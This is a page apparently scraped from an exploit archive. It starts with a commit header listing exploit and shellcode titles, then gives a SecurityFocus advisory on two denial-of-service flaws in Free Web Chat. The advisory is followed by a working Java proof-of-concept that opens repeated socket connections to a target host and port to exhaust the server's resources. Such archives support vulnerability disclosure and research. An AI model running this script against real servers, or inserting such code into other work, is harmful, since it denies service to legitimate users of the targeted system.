880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
94 lines
No EOL
2.5 KiB
Java
94 lines
No EOL
2.5 KiB
Java
source: https://www.securityfocus.com/bid/10863/info
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Free Web Chat server is reported prone to multiple denial of service vulnerabilities. The following issues are reported:
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The first denial of service vulnerability reported results from a lack of sufficient sanitization performed on username data. It is reported that a user with a void name may be added. This action will result in a NullPointerException.
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A remote attacker may exploit this vulnerability to deny service to legitimate users.
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The second denial of service vulnerability is reported to exist due to resource consumption. It is reported that the Free Web Chat server does not properly manage multiple connections that originate from the same location.
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A remote attacker may exploit this vulnerability to deny service to legitimate users.
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/*
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Free Web Chat (Initial Release)- Resources Consumption - Proof Of Concept
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Coded by: Donato Ferrante
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*/
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import java.io.PrintStream;
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import java.net.Socket;
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import java.net.InetAddress;
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import java.net.ConnectException;
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public class FreeWebChat_ir_RC_poc {
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final static String VERSION = "0.1";
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final static int MAX_CONN = 20;
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public static void main(String [] args){
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System.out.println(
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"\n\nFree Web Chat - Resources Consumption - Proof Of Concept\n" +
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"Version: " + VERSION + "\n\n" +
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"coded by: Donato Ferrante\n" +
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"e-mail: fdonato@autistici.org\n" +
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"web: www.autistici.org/fdonato\n\n"
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);
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String host = "";
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int port = 0;
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if(args.length < 2){
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System.out.println("Usage: <host> <port>\n\n");
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System.exit(-1);
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}
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try{
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host = args[0];
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port = (new Integer(args[1])).intValue();
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}catch(Exception e){System.exit(-1);}
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try{
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int i = 0;
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while(i++ <= MAX_CONN){
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try{
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InetAddress addr = InetAddress.getByName(host);
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Socket socket = new Socket(addr, port);
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PrintStream printStream = new PrintStream(socket.getOutputStream());
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printStream.println("test");
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printStream.close();
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}catch(ConnectException ce){System.out.println(ce); System.exit(-1);}
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}
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}catch(Exception e){System.out.println(e); System.exit(-1);}
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System.out.println("\nFree_Web_Chat - Resources Consumption - Proof_Of_Concept terminated.\n\n");
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}
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} |